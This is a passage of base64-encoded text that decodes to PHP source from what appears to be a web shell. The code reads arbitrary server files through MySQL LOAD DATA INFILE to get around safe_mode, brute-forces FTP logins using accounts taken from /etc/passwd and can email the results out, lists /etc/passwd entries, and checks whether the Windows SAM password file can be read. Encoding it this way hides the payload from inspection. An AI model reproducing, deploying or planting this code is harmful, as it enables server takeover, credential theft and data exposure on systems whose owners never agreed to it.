kNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7CiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgIH0KICAgIH0KICAgfQogICB9CiAgfQogIGVsc2UgewogICAkYWN0cyA9IGFycmF5KCIiLCJuZXdkYiIsInNlcnZlcnN0YXR1cyIsInNlcnZlcnZhcnMiLCJwcm9jZXNzZXMiLCJnZXRmaWxlIik7CiAgIGlmIChpbl9hcnJheSgkc3FsX3gsJGFjdHMpKSB7Pz48dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+Q3JlYXRlIG5ldyBEQjo8L2I+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3giIHZhbHVlPSJuZXdkYiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld2RiIiBzaXplPSIyMCI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PGI+VmlldyBGaWxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9ImdldGZpbGUiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9nZXRmaWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dldGZpbGUpOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAgfQogICBpZiAoIWVtcHR5KCRzcWxfeCkpIHsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsKICAgIGlmICgkc3FsX3ggPT0gIm5ld2RiIikgewogICAgIGVjaG8gIjxiPiI7CiAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO30KICAgICBlbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICB9CiAgICBpZiAoJHNxbF94ID09ICJzZXJ2ZXJzdGF0dXMiKSB7CiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7CiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOwogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHtlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjwvdHI+Ijt9CiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOwogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgfQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsKICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlciB2YXJpYWJsZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7CiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQogICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgIH0KICAgIGlmICgkc3FsX3ggPT0gInByb2Nlc3NlcyIpIHsKICAgICBpZiAoIWVtcHR5KCRraWxsKSkgewogICAgICAgJHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7CiAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkc3FsX3NvY2spOwogICAgICAgZWNobyAiPGI+UHJvY2VzcyAjIi4ka2lsbC4iIHdhcyBraWxsZWQuPC9iPiI7CiAgICAgfQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7CiAgICAgZWNobyAiPGNlbnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsKICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48dGQ+Ii4kcm93WzJdLiI8L3RkPjx0ZD4iLiRyb3dbM10uIjwvdGQ+PHRkPiIuJHJvd1s0XS4iPC90ZD48dGQ+Ii4kcm93WzVdLiI8L3RkPjx0ZD4iLiRyb3dbNl0uIjwvdGQ+PHRkPiIuJHJvd1s3XS4iPC90ZD48dGQ+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1wcm9jZXNzZXMma2lsbD0iLiRyb3dbMF0uIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iO30KICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICB9CiAgICBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikKICAgIHsKICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOwogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsKICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9CiAgICAgaWYgKCRzZWxlY3QpCiAgICAgewogICAgICAkY3JlYXRlZCA9IEZBTFNFOwogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOwogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsKICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9CiAgICAgICAkZiA9ICIiOwogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQogICAgICAgaWYgKGVtcHR5KCRmKSkge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCIgZG9lcyBub3QgZXhpc3RzIG9yIGVtcHR5ITwvYj48YnI+Ijt9CiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOwogICAgICAgbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgdG1wX2ZpbGU7Iik7CiAgICAgIH0KICAgICB9CiAgICAgbXlzcWxfZHJvcF9kYigkdG1wZGIpOyAKICAgIH0KICAgfQogIH0KfQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwppZiAoJHNxbF9zb2NrKSB7CiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsKICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9CiAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJvd3MgOiAiLiRhZmZlY3RlZC4iPC9jZW50ZXI+PC90ZD48L3RyPiI7Cn0KZWNobyAiPC90YWJsZT4iOwp9CmlmICgkeCA9PSAiZnRwcXVpY2ticnV0ZSIpIHsKZWNobyAiPGNlbnRlcj48dGFibGU+PHRyPjx0ZCBjbGFzcz1iYXJoZWFkZXIgY29sc3Bhbj0yPiI7CmVjaG8gIi46IEZ0cCBRdWljayBCcnV0ZSA6LjwvdGQ+PC90cj4iOwplY2hvICI8dHI+PHRkPiI7CmlmICgkd2luKSB7ZWNobyAiQ291bGRuJ3QgcnVuIG9uIFdpbmRvd3MhIjt9CmVsc2UgewogIGZ1bmN0aW9uIGNhZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkgewogICAgaWYgKCRmcWJfb25seXdpdGhzaCkgeyRUUlVFID0gKCFpbl9hcnJheSgkc2gsYXJyYXkoIi9iaW4vRkFMU0UiLCIvc2Jpbi9ub2xvZ2luIikpKTt9CiAgICBlbHNlIHskVFJVRSA9IFRSVUU7fQogICAgaWYgKCRUUlVFKSB7CiAgICAgICRzb2NrID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsKICAgICAgaWYgKEBmdHBfbG9naW4oJHNvY2ssJGxvZ2luLCRwYXNzKSkgewogICAgICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsKICAgICAgICBvYl9mbHVzaCgpOwogICAgICAgIHJldHVybiBUUlVFOwogICAgICB9CiAgICB9CiAgfQogIGlmICghZW1wdHkoJHN1Ym1pdCkpIHsKICAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30KICAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsKICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3QgZ2V0IC9ldGMvcGFzc3dkIGZvciBwYXNzd29yZC1saXN0LiI7fQogICAgZWxzZSB7CiAgICAgIGlmICgkZnFiX2xvZ2dpbmcpIHsKICAgICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30KICAgICAgICBlbHNlIHskZnFiX2xvZ2ZwID0gRkFMU0U7fQogICAgICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoIi4kc2hfbmFtZS4iKSBzdGFydGVkIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcblxyXG4iOwogICAgICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgIH0KICAgICAgb2JfZmx1c2goKTsKICAgICAgJGkgPSAkc3VjY2VzcyA9IDA7CiAgICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgICB3aGlsZSghZmVvZigkZnApKSB7CiAgICAgICAgJHN0ciA9IGV4cGxvZGUoIjoiLGZnZXRzKCRmcCwyMDQ4KSk7CiAgICAgICAgaWYgKGNhZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpIHsKICAgICAgICAgIGVjaG8gIjxiPkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCI8L2I+PGJyPiI7CiAgICAgICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQogICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgIG9iX2ZsdXNoKCk7CiAgICAgICAgfQogICAgICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICAgICRpKys7CiAgICAgIH0KICAgICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQogICAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsKICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5Eb25lITwvYj48YnI+VG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiI8YnI+VG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIjxicj5TdWNjZXNzLjogPGZvbnQgY29sb3I9Z3JlZW4+PGI+Ii4kc3VjY2Vzcy4iPC9iPjwvZm9udD48YnI+VW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIjwvYj48YnI+Q29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iPGJyPiI7CiAgICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOwogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgICAgaWYgKCRmcWJfbG9nZW1haWwpIHtAbWFpbCgkZnFiX2xvZ2VtYWlsLCIiLiRzaF9uYW1lLiIgcmVwb3J0IiwkZnFiX2xvZyk7fQogICAgICBmY2xvc2UoJGZxYl9sb2dmcCk7CiAgICB9CiAgfQogIGVsc2UgewogICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImNhX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsKICAgICRsb2dmaWxlID0gc3RyX3JlcGxhY2UoIi8vIixESVJFQ1RPUllfU0VQQVJBVE9SLCRsb2dmaWxlKTsKICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCJmdHBxdWlja2JydXRlXCI+Ii4KICAgICAgICAgIlJlYWQgZmlyc3Q6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdodFwiIHZhbHVlPVwiIi4kbml4cHdkcGVycGFnZS4iXCI+PC90ZD48L3RyPiIuCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRoc2hcIiB2YWx1ZT1cIjFcIj4gVXNlcnMgb25seSB3aXRoIHNoZWxsPC90ZD48L3RyPiIuCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPkxvZ2dpbmc8L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBmaWxlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZmlsZVwiIHZhbHVlPVwiIi4kbG9nZmlsZS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZmlsZSkrMiooc3RybGVuKCRsb2dmaWxlKS8xMCkpLiJcIj48L3RkPjwvdHI+Ii4KICAgICAgICAgIjx0cj48dGQ+TG9nZ2luZyB0byBlLW1haWw6PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dlbWFpbFwiIHZhbHVlPVwiIi4kbG9nX2VtYWlsLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dlbWFpbCkrMiooc3RybGVuKCRsb2dlbWFpbCkvMTApKS4iXCI+PC90ZD48L3RyPiIuCiAgICAgICAgICI8dHI+PHRkIGNvbHNwYW49Mj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJCcnV0ZVwiPjwvZm9ybT4iOwogIH0KICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOwp9Cn0KaWYgKCR4ID09ICJkIikgewppZiAoIWlzX2RpcigkZCkpIHsgZWNobyAiPGNlbnRlcj48Yj4kZCBpcyBhIG5vdCBhIERpcmVjdG9yeSE8L2I+PC9jZW50ZXI+IjsgfQplbHNlIHsKICBlY2hvICI8Yj5EaXJlY3RvcnkgaW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsKICBpZiAoISR3aW4pIHsKICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsKICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7CiAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOwogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsKICB9CiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4ieD1jaG1vZCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7Cn0KfQppZiAoJHggPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgY2Fwcml2OGV4aXQoKTt9CmlmICgkeCA9PSAic2VjdXJpdHkiKSB7CiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogU2VydmVyIFNlY3VyaXR5IEluZm9ybWF0aW9uIDouPC9kaXY+Ii4KICAgICAgICI8dGFibGU+Ii4KICAgICAgICI8dHI+PHRkPk9wZW4gQmFzZSBEaXI8L3RkPjx0ZD4iLiRob3BlbmJhc2VkaXIuIjwvdGQ+PC90cj4iOwogIGVjaG8gIjx0ZD5QYXNzd29yZCBGaWxlPC90ZD48dGQ+IjsKICBpZiAoISR3aW4pIHsKICAgIGlmICgkbml4cGFzc3dkKSB7CiAgICAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9CiAgICAgIGVjaG8gIipuaXggL2V0Yy9wYXNzd2Q6PGJyPiI7CiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9CiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3ZHBlcnBhZ2U7fQogICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsKICAgICAgJGkgPSAkbml4cHdkX3M7CiAgICAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkgewogICAgICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7CiAgICAgICAgaWYgKCR1aWQpIHsKICAgICAgICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsKICAgICAgICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgICAgIH0KICAgICAgICAkaSsrOwogICAgICB9CiAgICB9CiAgICBlbHNlIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4ieD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT4iO30KICB9CiAgZWxzZSB7CiAgICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOwogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjx0ZCBjb2xzcGFuPTI+PGRpdiBjbGFzcz1meGVycm1zZz5Zb3UgY2FuJ3QgY3JhY2sgV2luZG93cyBwYXNzd29yZHMoIi4kdi4iKTwvZGl2PjwvdGQ+PC90cj4iOyB9CiAgICBlbHNlIHtlY2hvICJZb3UgY2FuIGNyYWNrIFdpbmRvd3MgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PW